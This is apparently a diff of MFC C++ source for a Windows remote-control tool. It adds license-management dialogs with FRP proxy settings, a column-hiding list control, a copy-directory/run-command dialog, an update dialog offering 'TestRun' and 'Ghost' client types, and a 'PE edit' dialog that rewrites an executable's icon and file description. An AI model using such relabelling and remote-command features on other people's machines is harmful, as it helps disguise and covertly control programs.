afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnMouseLeave();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
DECLARE_MESSAGE_MAP()
private:
IconDrawFunc m_fnDrawIcon;
bool m_bHover;
bool m_bIsCloseButton;
bool m_bTracking;
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,132 @@
#pragma once
#include <afx.h>
#include <afxwin.h>
#include <afxcmn.h>
#include "Resource.h"
#include "LangManager.h"
#include <string>
#include <vector>
// 授权状态常量
#define LICENSE_STATUS_ACTIVE "Active"
#define LICENSE_STATUS_REVOKED "Revoked"
#define LICENSE_STATUS_EXPIRED "Expired"
// 授权信息结构体
struct LicenseInfo {
std::string SerialNumber;
std::string Passcode;
std::string HMAC;
std::string Status; // Active, Revoked, Expired
std::string Remark;
std::string CreateTime;
std::string IP;
std::string Location;
std::string LastActiveTime;
std::string PendingExpireDate; // 预设的新过期日期(如 20270221空表示无预设
int PendingHostNum = 0; // 预设的并发连接数
int PendingQuota = 0; // 预设的配额数量(支持多机器续期)
};
// 续期信息结构体
struct RenewalInfo {
std::string ExpireDate; // 新的过期日期(如 20270221
int HostNum = 0;
int Quota = 1; // 配额数量默认为1
bool IsValid() const { return !ExpireDate.empty() && HostNum > 0 && Quota > 0; }
};
class CMy2015RemoteDlg; // 前向声明
// 授权列表列索引
enum LicenseColumn {
LIC_COL_ID = 0,
LIC_COL_SERIAL,
LIC_COL_STATUS,
LIC_COL_EXPIRE,
LIC_COL_REMARK,
LIC_COL_PASSCODE,
LIC_COL_HMAC,
LIC_COL_IP,
LIC_COL_LOCATION,
LIC_COL_LASTACTIVE,
LIC_COL_CREATETIME
};
// CLicenseDlg 对话框
class CLicenseDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CLicenseDlg)
public:
CLicenseDlg(CMy2015RemoteDlg* pParent = nullptr);
virtual ~CLicenseDlg();
enum { IDD = IDD_DIALOG_LICENSE };
protected:
HICON m_hIcon = NULL;
CMy2015RemoteDlg* m_pParent = nullptr;
int m_nSortColumn = -1;
BOOL m_bSortAscending = TRUE;
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnCancel();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_ListLicense;
std::vector<LicenseInfo> m_Licenses;
void LoadLicenses();
void RefreshList();
void InitListColumns();
void ShowAndRefresh(); // 显示并刷新数据
void SortByColumn(int nColumn, BOOL bAscending);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLicenseRevoke();
afx_msg void OnLicenseActivate();
afx_msg void OnLicenseRenewal();
afx_msg void OnLicenseEditRemark();
afx_msg void OnLicenseViewIPs();
afx_msg void OnLicenseDelete();
};
// 获取所有授权信息
std::vector<LicenseInfo> GetAllLicenses();
// 更新授权状态
bool SetLicenseStatus(const std::string& deviceID, const std::string& status);
// 续期管理函数
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota = 1);
RenewalInfo GetPendingRenewal(const std::string& deviceID);
bool ClearPendingRenewal(const std::string& deviceID);
bool DecrementPendingQuota(const std::string& deviceID); // 配额递减,返回是否还有剩余配额
// 从 passcode 解析过期日期第2段如 20260221
std::string ParseExpireDateFromPasscode(const std::string& passcode);
// 从 passcode 解析并发连接数第3段
int ParseHostNumFromPasscode(const std::string& passcode);
// 设置授权备注
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark);
// 删除授权
bool DeleteLicense(const std::string& deviceID);
// IP 列表辅助函数
int GetIPCountFromList(const std::string& ipListStr);
std::string GetFirstIPFromList(const std::string& ipListStr);
std::string FormatIPDisplay(const std::string& ipListStr); // 格式化显示: "[3] 192.168.1.1, ..."
// 检查 IP+机器名 是否在授权数据库中存在
bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machineName, std::string* outSN = nullptr);

View File

@@ -0,0 +1,311 @@
#include "stdafx.h"
#include "CListCtrlEx.h"
#include "2015Remote.h"
// CHeaderCtrlEx 实现
BEGIN_MESSAGE_MAP(CHeaderCtrlEx, CHeaderCtrl)
ON_NOTIFY_REFLECT(HDN_BEGINTRACKA, &CHeaderCtrlEx::OnBeginTrack)
ON_NOTIFY_REFLECT(HDN_BEGINTRACKW, &CHeaderCtrlEx::OnBeginTrack)
END_MESSAGE_MAP()
void CHeaderCtrlEx::OnBeginTrack(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nCol = pNMHeader->iItem;
if (m_pListCtrl && nCol >= 0 && nCol < (int)m_pListCtrl->m_Columns.size()) {
if (!m_pListCtrl->m_Columns[nCol].Visible) {
*pResult = TRUE; // 阻止拖拽
return;
}
}
*pResult = FALSE;
}
// CListCtrlEx 实现
IMPLEMENT_DYNAMIC(CListCtrlEx, CListCtrl)
CListCtrlEx::CListCtrlEx()
{
}
CListCtrlEx::~CListCtrlEx()
{
}
BEGIN_MESSAGE_MAP(CListCtrlEx, CListCtrl)
ON_WM_CONTEXTMENU()
ON_WM_ERASEBKGND()
END_MESSAGE_MAP()
void CListCtrlEx::SetConfigKey(const CString& strKey)
{
m_strConfigKey = strKey;
}
void CListCtrlEx::PreSubclassWindow()
{
CListCtrl::PreSubclassWindow();
// 虚拟列表模式必须在窗口创建后立即设置
if (m_bVirtualMode) {
// 使用 SetWindowLong 直接添加样式ModifyStyle 对某些样式不起作用)
LONG_PTR style = ::GetWindowLongPtr(m_hWnd, GWL_STYLE);
style |= LVS_OWNERDATA;
::SetWindowLongPtr(m_hWnd, GWL_STYLE, style);
}
}
int CListCtrlEx::AddColumn(int nCol, LPCTSTR lpszColumnHeading, int nWidth, int nFormat, BOOL bCanHide)
{
// 添加到列表控件
int nResult = InsertColumnL(nCol, lpszColumnHeading, nFormat, nWidth);
if (nResult != -1) {
// 保存列信息
ColumnInfoEx info;
info.Name = lpszColumnHeading;
info.Width = nWidth;
info.Percent = 0.0f; // 稍后在 InitColumns 中计算
info.Visible = TRUE;
info.CanHide = bCanHide;
// 确保 vector 大小足够
if (nCol >= (int)m_Columns.size()) {
m_Columns.resize(nCol + 1);
}
m_Columns[nCol] = info;
}
return nResult;
}
void CListCtrlEx::InitColumns()
{
if (m_Columns.empty()) {
return;
}
// 子类化 Header 控件
SubclassHeader();
// 计算总宽度和百分比
int totalWidth = 0;
for (const auto& col : m_Columns) {
totalWidth += col.Width;
}
if (totalWidth > 0) {
for (auto& col : m_Columns) {
col.Percent = (float)col.Width / totalWidth;
}
}
// 从配置加载列可见性
LoadColumnVisibility();
// 应用列宽
AdjustColumnWidths();
}
void CListCtrlEx::SubclassHeader()
{
CHeaderCtrl* pHeader = GetHeaderCtrl();
if (pHeader && !m_HeaderCtrl.GetSafeHwnd()) {
m_HeaderCtrl.SubclassWindow(pHeader->GetSafeHwnd());
m_HeaderCtrl.m_pListCtrl = this;
}
}
void CListCtrlEx::AdjustColumnWidths()
{
if (m_Columns.empty() || GetSafeHwnd() == NULL) {
return;
}
CRect rect;
GetClientRect(&rect);
int totalWidth = rect.Width() - 20; // 减去滚动条宽度
// 计算可见列的总百分比
float visiblePercent = 0.0f;
for (const auto& col : m_Columns) {
if (col.Visible) {
visiblePercent += col.Percent;
}
}
// 按比例分配宽度给可见列
for (int i = 0; i < (int)m_Columns.size(); i++) {
if (m_Columns[i].Visible) {
int width = (visiblePercent > 0) ? (int)(totalWidth * m_Columns[i].Percent / visiblePercent) : 0;
SetColumnWidth(i, width);
} else {
SetColumnWidth(i, 0); // 隐藏列
}
}
}
BOOL CListCtrlEx::IsColumnVisible(int nCol) const
{
if (nCol >= 0 && nCol < (int)m_Columns.size()) {
return m_Columns[nCol].Visible;
}
return TRUE;
}
void CListCtrlEx::SetColumnVisible(int nCol, BOOL bVisible)
{
if (nCol >= 0 && nCol < (int)m_Columns.size()) {
if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见
m_Columns[nCol].Visible = bVisible;
AdjustColumnWidths();
}
}
}
void CListCtrlEx::OnContextMenu(CWnd* pWnd, CPoint pt)
{
// 检查是否点击在表头区域
CHeaderCtrl* pHeader = GetHeaderCtrl();
if (pHeader) {
CRect headerRect;
pHeader->GetWindowRect(&headerRect);
if (headerRect.PtInRect(pt)) {
ShowColumnContextMenu(pt);
return;
}
}
// 非表头区域,调用父类处理
CListCtrl::OnContextMenu(pWnd, pt);
}
void CListCtrlEx::ShowColumnContextMenu(CPoint pt)
{
CMenu menu;
menu.CreatePopupMenu();
// 添加所有列到菜单(跳过空标题的列)
for (int i = 0; i < (int)m_Columns.size(); i++) {
// 跳过空标题的列
if (m_Columns[i].Name.IsEmpty()) {
continue;
}
UINT flags = MF_STRING;
if (m_Columns[i].Visible) {
flags |= MF_CHECKED;
}
// 不允许隐藏的列显示为灰色
if (!m_Columns[i].CanHide) {
flags |= MF_GRAYED;
}
menu.AppendMenuL(flags, 1000 + i, m_Columns[i].Name);
}
// 显示菜单并获取选择
int nCmd = menu.TrackPopupMenu(TPM_RETURNCMD | TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y, this);
if (nCmd >= 1000 && nCmd < 1000 + (int)m_Columns.size()) {
ToggleColumnVisibility(nCmd - 1000);
}
}
void CListCtrlEx::ToggleColumnVisibility(int nColumn)
{
if (nColumn < 0 || nColumn >= (int)m_Columns.size()) {
return;
}
// 不允许隐藏的列不处理
if (!m_Columns[nColumn].CanHide) {
return;
}
// 切换可见性
m_Columns[nColumn].Visible = !m_Columns[nColumn].Visible;
// 保存到配置
SaveColumnVisibility();
// 重新调整列宽
AdjustColumnWidths();
}
void CListCtrlEx::LoadColumnVisibility()
{
if (m_strConfigKey.IsEmpty()) {
return; // 没有设置配置键,不加载
}
// 配置结构list\{ConfigKey},如 list\ClientList
// 格式:逗号分隔的隐藏列名,如 "备注,程序路径"
CT2A configKeyA(m_strConfigKey);
std::string strHidden = THIS_CFG.GetStr("list", std::string(configKeyA), "");
if (strHidden.empty()) {
return; // 使用默认值(全部显示)
}
// 解析隐藏的列名
std::vector<std::string> hiddenNames = StringToVector(strHidden, ',');
for (const auto& name : hiddenNames) {
// 查找列名对应的索引
for (int i = 0; i < (int)m_Columns.size(); i++) {
CT2A colNameA(m_Columns[i].Name);
if (name == std::string(colNameA)) {
if (m_Columns[i].CanHide) {
m_Columns[i].Visible = FALSE;
}
break;
}
}
}
}
void CListCtrlEx::SaveColumnVisibility()
{
if (m_strConfigKey.IsEmpty()) {
return; // 没有设置配置键,不保存
}
// 只保存隐藏的列名
std::string strHidden;
for (int i = 0; i < (int)m_Columns.size(); i++) {
if (!m_Columns[i].Visible) {
if (!strHidden.empty()) strHidden += ",";
CT2A colNameA(m_Columns[i].Name);
strHidden += std::string(colNameA);
}
}
// 配置结构list\{ConfigKey},如 list\ClientList
CT2A configKeyA(m_strConfigKey);
THIS_CFG.SetStr("list", std::string(configKeyA), strHidden);
}
BOOL CListCtrlEx::OnEraseBkgnd(CDC* pDC)
{
if (m_bSkipEraseBkgnd) {
// 只擦除列表底部空白区域,避免残影
int nItemCount = GetItemCount();
if (nItemCount > 0) {
CRect rcItem;
// 获取最后一项的矩形
if (GetItemRect(nItemCount - 1, &rcItem, LVIR_BOUNDS)) {
CRect rcClient;
GetClientRect(&rcClient);
// 如果最后一项下方有空白区域,擦除它
if (rcItem.bottom < rcClient.bottom) {
CRect rcEmpty(rcClient.left, rcItem.bottom, rcClient.right, rcClient.bottom);
pDC->FillSolidRect(&rcEmpty, GetBkColor());
}
}
} else {
// 没有项目时,擦除整个背景
return CListCtrl::OnEraseBkgnd(pDC);
}
return TRUE;
}
return CListCtrl::OnEraseBkgnd(pDC);
}

View File

@@ -0,0 +1,99 @@
#pragma once
#include <vector>
#include <string>
// 列信息结构
struct ColumnInfoEx {
CString Name; // 列名
int Width; // 初始宽度
float Percent; // 占比
BOOL Visible; // 是否可见
BOOL CanHide; // 是否允许隐藏(如序号列不允许)
};
class CListCtrlEx;
// 自定义 Header 控件,用于阻止隐藏列被拖拽
class CHeaderCtrlEx : public CHeaderCtrl
{
public:
CListCtrlEx* m_pListCtrl = nullptr;
protected:
DECLARE_MESSAGE_MAP()
afx_msg void OnBeginTrack(NMHDR* pNMHDR, LRESULT* pResult);
};
// CListCtrlEx - 支持列显示/隐藏功能的列表控件
class CListCtrlEx : public CListCtrl
{
DECLARE_DYNAMIC(CListCtrlEx)
friend class CHeaderCtrlEx; // 允许 CHeaderCtrlEx 访问 protected 成员
public:
CListCtrlEx();
virtual ~CListCtrlEx();
// 控制是否跳过背景擦除(减少闪烁)
void SetSkipEraseBkgnd(BOOL bSkip) { m_bSkipEraseBkgnd = bSkip; }
// RAII 辅助类:临时允许背景擦除,析构时自动恢复
class ScopedEraseBkgnd {
CListCtrlEx& m_list;
public:
ScopedEraseBkgnd(CListCtrlEx& list) : m_list(list) { m_list.SetSkipEraseBkgnd(FALSE); }
~ScopedEraseBkgnd() { m_list.SetSkipEraseBkgnd(TRUE); }
};
// 设置配置键名(用于区分不同列表的配置,如 "ClientList", "FileList"
void SetConfigKey(const CString& strKey);
// 添加列(替代 InsertColumnL
// nCol: 列索引
// lpszColumnHeading: 列标题
// nFormat: 对齐方式,默认左对齐
// nWidth: 列宽
// bCanHide: 是否允许隐藏,默认允许
int AddColumn(int nCol, LPCTSTR lpszColumnHeading, int nWidth, int nFormat = LVCFMT_LEFT, BOOL bCanHide = TRUE);
// 初始化完成后调用,计算百分比并加载配置
void InitColumns();
// 调整列宽(窗口大小改变时调用)
void AdjustColumnWidths();
// 获取列是否可见
BOOL IsColumnVisible(int nCol) const;
// 设置列可见性
void SetColumnVisible(int nCol, BOOL bVisible);
// 设置虚拟列表模式(必须在窗口创建前调用,或在 DoDataExchange 中调用)
void SetVirtualMode(BOOL bVirtual = TRUE) { m_bVirtualMode = bVirtual; }
BOOL IsVirtualMode() const { return m_bVirtualMode; }
// 虚拟列表专用:设置项目数量(绕过 MFC 的 ASSERT
BOOL SetItemCountExV(int iCount, DWORD dwFlags = LVSICF_NOINVALIDATEALL) {
ASSERT(m_bVirtualMode); // 仅虚拟列表模式可用
return (BOOL)::SendMessage(m_hWnd, LVM_SETITEMCOUNT, (WPARAM)iCount, (LPARAM)dwFlags);
}
protected:
virtual void PreSubclassWindow() override;
std::vector<ColumnInfoEx> m_Columns; // 列信息
CString m_strConfigKey; // 配置键名
CHeaderCtrlEx m_HeaderCtrl; // 子类化的 Header 控件
BOOL m_bSkipEraseBkgnd = TRUE; // 是否跳过背景擦除
BOOL m_bVirtualMode = FALSE; // 是否虚拟列表模式
void ShowColumnContextMenu(CPoint pt);
void ToggleColumnVisibility(int nColumn);
void LoadColumnVisibility();
void SaveColumnVisibility();
void SubclassHeader(); // 子类化 Header 控件
DECLARE_MESSAGE_MAP()
afx_msg void OnContextMenu(CWnd* pWnd, CPoint pt);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,168 @@
#pragma once
#include <afx.h>
#include <afxwin.h>
#include "Resource.h"
#include "common/commands.h"
#include "LangManager.h"
// CPasswordDlg 对话框
namespace TcpClient {
std::string ObfuscateAuthorization(const std::string& auth);
std::string DeobfuscateAuthorization(const std::string& obfuscated);
bool IsAuthorizationValid(const std::string& authObfuscated);
}
void WriteHash(const char* pwdHash, const char* upperHash);
std::string getUpperHash();
std::string GetUpperHash();
std::string GetFinderString(const char* buf);
// 获取密码哈希值
std::string GetPwdHash();
const Validation* GetValidation(int offset=100);
std::string GetMasterId();
std::string GetHMAC(int offset=100);
void SetHMAC(const std::string str, int offset=100);
bool IsPwdHashValid(const char* pwdHash = nullptr);
bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify);
class CPasswordDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CPasswordDlg)
public:
CPasswordDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CPasswordDlg();
enum { IDD = IDD_DIALOG_PASSWORD };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
HICON m_hIcon;
CEdit m_EditDeviceID;
CEdit m_EditPassword;
CString m_sDeviceID;
CString m_sPassword;
virtual BOOL OnInitDialog();
CComboBox m_ComboBinding;
afx_msg void OnCbnSelchangeComboBind();
CEdit m_EditPasscodeHmac;
CString m_sPasscodeHmac;
CEdit m_EditRootCert;
CString m_sRootCert;
int m_nBindType;
virtual void OnOK();
};
// 授权信息保存辅助函数
std::string GetLicensesPath();
bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
const std::string& hmac, const std::string& remark = "",
const std::string& authorization = "",
const std::string& frpConfig = "");
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
std::string& hmac, std::string& remark);
// 加载授权的 FRP 配置
std::string LoadLicenseFrpConfig(const std::string& deviceID);
// 加载授权的 Authorization用于 V2 授权返回给第一层)
std::string LoadLicenseAuthorization(const std::string& deviceID);
// 更新授权的 AuthorizationV2 续期时更新)
// authorization: 混淆后的 Authorization 字符串
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization);
// 更新授权活跃信息IP、位置、最后活跃时间
// 如果授权不存在则自动创建记录
// machineName: 机器名用于区分同一公网IP下的不同机器
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
const std::string& hmac, const std::string& ip = "",
const std::string& location = "", const std::string& machineName = "");
// 检查授权是否已被撤销
bool IsLicenseRevoked(const std::string& deviceID);
// 构建 V1 Authorization第一层/下级返回给下级)
// sn: 用于日志输出的设备标识
// 返回混淆后的 Authorization失败返回空字符串
std::string BuildV1Authorization(const std::string& sn = "", bool heartbeat = false);
class CPwdGenDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CPwdGenDlg)
public:
CPwdGenDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CPwdGenDlg();
enum {
IDD = IDD_DIALOG_KEYGEN
};
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
HICON m_hIcon;
CEdit m_EditDeviceID;
CEdit m_EditPassword;
CEdit m_EditUserPwd;
CString m_sDeviceID;
CString m_sPassword;
CString m_sUserPwd;
afx_msg void OnBnClickedButtonGenkey();
afx_msg void OnBnClickedButtonSaveLicense();
CDateTimeCtrl m_PwdExpireDate;
COleDateTime m_ExpireTm;
CDateTimeCtrl m_StartDate;
COleDateTime m_StartTm;
virtual BOOL OnInitDialog();
CEdit m_EditHostNum;
int m_nHostNum;
CEdit m_EditHMAC;
CButton m_BtnSaveLicense;
BOOL m_bIsLocalDevice; // 是否为本机授权
CString m_sHMAC; // HMAC 值
CEdit m_EditAuthorization; // 多层授权显示框
CString m_sAuthorization; // 多层授权: Authorization 字段
// V2 Authorization 下级并发数限制
CEdit m_EditAuthHostNum; // 下级并发数输入框
int m_nAuthHostNum; // 下级并发数值
BOOL m_bAuthHostNumManual; // 是否手动修改过
afx_msg void OnEnChangeEditHostNum(); // 连接数变化时同步
afx_msg void OnEnChangeEditAuthHostNum(); // 下级并发数手动修改
// V2 授权相关
CComboBox m_ComboVersion; // 版本选择下拉框
CEdit m_EditPrivateKey; // 私钥文件路径
CButton m_BtnBrowseKey; // 浏览私钥文件按钮
CButton m_BtnGenKeyPair; // 生成密钥对按钮
int m_nVersion; // 0=V1(HMAC), 1=V2(ECDSA)
CString m_sPrivateKeyPath; // 私钥文件路径
afx_msg void OnCbnSelchangeComboVersion(); // 版本切换事件
afx_msg void OnBnClickedButtonBrowseKey(); // 浏览私钥文件事件
afx_msg void OnBnClickedButtonGenKeypair(); // 生成密钥对事件
// FRP 代理相关
CButton m_CheckFrpProxy; // FRP 代理复选框
CEdit m_EditFrpRemotePort; // FRP 远程端口
CButton m_BtnFrpAutoPort; // 自动分配端口按钮
CStatic m_StaticFrpInfo; // FRPS 信息显示
int m_nFrpRemotePort; // FRP 远程端口值
std::string m_sFrpConfig; // 生成的 FRP 配置字符串
afx_msg void OnBnClickedCheckFrpProxy(); // FRP 复选框点击
afx_msg void OnBnClickedBtnFrpAutoPort(); // 自动分配端口按钮
void UpdateFrpControlStates(); // 更新 FRP 控件状态
};

View File

@@ -0,0 +1,141 @@
// CRcEditDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CRcEditDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
// CRcEditDlg 对话框
IMPLEMENT_DYNAMIC(CRcEditDlg, CDialogEx)
CRcEditDlg::CRcEditDlg(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_RCEDIT, pParent)
, m_sExePath(_T(""))
, m_sIcoPath(_T(""))
, m_sProcessDesc(_T(""))
{
}
CRcEditDlg::~CRcEditDlg()
{
}
void CRcEditDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_EXE_FILE, m_EditExe);
DDX_Control(pDX, IDC_EDIT_ICO_FILE, m_EditIco);
DDX_Text(pDX, IDC_EDIT_EXE_FILE, m_sExePath);
DDV_MaxChars(pDX, m_sExePath, 256);
DDX_Text(pDX, IDC_EDIT_ICO_FILE, m_sIcoPath);
DDV_MaxChars(pDX, m_sIcoPath, 256);
DDX_Control(pDX, IDC_EDIT_PROCESS_DESC, m_EditProcessDesc);
DDX_Text(pDX, IDC_EDIT_PROCESS_DESC, m_sProcessDesc);
DDV_MaxChars(pDX, m_sProcessDesc, 135);
}
BEGIN_MESSAGE_MAP(CRcEditDlg, CDialogEx)
ON_BN_CLICKED(IDC_BTN_SELECT_EXE, &CRcEditDlg::OnBnClickedBtnSelectExe)
ON_BN_CLICKED(IDC_BTN_SELECT_ICO, &CRcEditDlg::OnBnClickedBtnSelectIco)
END_MESSAGE_MAP()
// CRcEditDlg 消息处理程序
BOOL CRcEditDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_RCEDIT_TIP, _TR("提示: 替换完成后,请刷新程序进行查看;如若未成功,请更换图标重试。"));
SetDlgItemText(IDC_STATIC_RCEDIT_DESC, _TR("进程描述:"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("PE 编辑"));
SetDlgItemText(IDC_BTN_SELECT_EXE, _TR("目标程序"));
SetDlgItemText(IDC_BTN_SELECT_ICO, _TR("图标文件"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CRcEditDlg::OnOK()
{
if (m_sExePath.IsEmpty()) {
MessageBoxL("请选择目标应用程序!", "提示", MB_ICONINFORMATION);
return;
}
m_EditProcessDesc.GetWindowTextA(m_sProcessDesc);
if (m_sIcoPath.IsEmpty() && m_sProcessDesc.IsEmpty()) {
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
return;
}
std::string ReleaseEXE(int resID, const char* name);
int run_cmd(std::string cmdLine);
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
if (rcedit.empty()) {
MessageBoxL("解压程序失败无法操作PE!", "提示", MB_ICONINFORMATION);
return;
}
std::string exe = m_sExePath.GetString();
std::string icon = m_sIcoPath.GetString();
std::string desc = m_sProcessDesc.GetString();
std::string cmdLine = "\"" + rcedit + "\" \"" + exe + "\"";
if (!icon.empty())
cmdLine += " --set-icon \"" + icon + "\"";
if (!desc.empty())
cmdLine += " --set-version-string \"FileDescription\" \"" + desc + "\"";
int result = run_cmd(cmdLine);
if (result) {
MessageBoxL(_TR("PE 操作失败,错误代码: ") + std::to_string(result).c_str(),
"提示", MB_ICONINFORMATION);
return;
}
__super::OnOK();
}
void CRcEditDlg::OnBnClickedBtnSelectExe()
{
CFileDialog fileDlg(TRUE, _T("exe"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
return;
}
if (ret == IDOK) {
m_sExePath = fileDlg.GetPathName();
m_EditExe.SetWindowTextA(m_sExePath);
}
}
void CRcEditDlg::OnBnClickedBtnSelectIco()
{
CFileDialog fileDlg(TRUE, _T("ico"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("ICO Files (*.ico)|*.ico|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
return;
}
if (ret == IDOK) {
m_sIcoPath = fileDlg.GetPathName();
m_EditIco.SetWindowTextA(m_sIcoPath);
}
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include <afx.h>
#include <afxwin.h>
#include "LangManager.h"
// CRcEditDlg 对话框
class CRcEditDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CRcEditDlg)
public:
CRcEditDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CRcEditDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_RCEDIT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditExe;
CEdit m_EditIco;
CString m_sExePath;
CString m_sIcoPath;
virtual BOOL OnInitDialog();
virtual void OnOK();
afx_msg void OnBnClickedBtnSelectExe();
afx_msg void OnBnClickedBtnSelectIco();
CEdit m_EditProcessDesc;
CString m_sProcessDesc;
};

View File

@@ -0,0 +1,67 @@
// CTextDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CTextDlg.h"
#include "afxdialogex.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CTextDlg 对话框
IMPLEMENT_DYNAMIC(CTextDlg, CDialog)
CTextDlg::CTextDlg(CWnd* pParent /*=nullptr*/)
: CDialogLang(IDD_TEXT, pParent)
, nowstr(_T(""))
, cmeline(_T(""))
, oldstr(_T(""))
{
}
CTextDlg::~CTextDlg()
{
}
void CTextDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT1, oldstr);
DDX_Text(pDX, IDC_EDIT2, nowstr);
DDX_Text(pDX, IDC_EDIT3, cmeline);
}
BEGIN_MESSAGE_MAP(CTextDlg, CDialog)
ON_BN_CLICKED(IDOK, &CTextDlg::OnBnClickedOk)
END_MESSAGE_MAP()
// CTextDlg 消息处理程序
BOOL CTextDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_TEXT_SRC_DIR, _TR("原目录"));
SetDlgItemText(IDC_STATIC_TEXT_DST_DIR, _TR("现目录"));
SetDlgItemText(IDC_STATIC_TEXT_CMD, _TR("命令"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("拷贝目录-运行命令"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
return TRUE;
}
void CTextDlg::OnBnClickedOk()
{
UpdateData(TRUE);
__super::OnOK();
}

View File

@@ -0,0 +1,28 @@
#pragma once
#include "LangManager.h"
// CTextDlg 对话框
class CTextDlg : public CDialogLang
{
DECLARE_DYNAMIC(CTextDlg)
public:
CTextDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CTextDlg();
CString oldstr;
CString nowstr;
CString cmeline;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_TEXT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
virtual BOOL OnInitDialog();
afx_msg void OnBnClickedOk();
};

View File

@@ -0,0 +1,55 @@
// CUpdateDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "afxdialogex.h"
#include "CUpdateDlg.h"
#include "resource.h"
// CUpdateDlg 对话框
IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx)
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_UPDATE, pParent)
, m_nSelected(0)
{
}
CUpdateDlg::~CUpdateDlg()
{
}
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect);
DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected);
}
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialogEx)
END_MESSAGE_MAP()
// CUpdateDlg 消息处理程序
BOOL CUpdateDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_UPDATE_TYPE, _TR("目标程序类型:"));
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("升级程序"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// TODO: 在此添加额外的初始化
m_ComboUpdateSelect.InsertStringL(0, _T("TestRun"));
m_ComboUpdateSelect.InsertStringL(1, _T("Ghost"));
m_ComboUpdateSelect.SetCurSel(1);
return TRUE;
}

View File

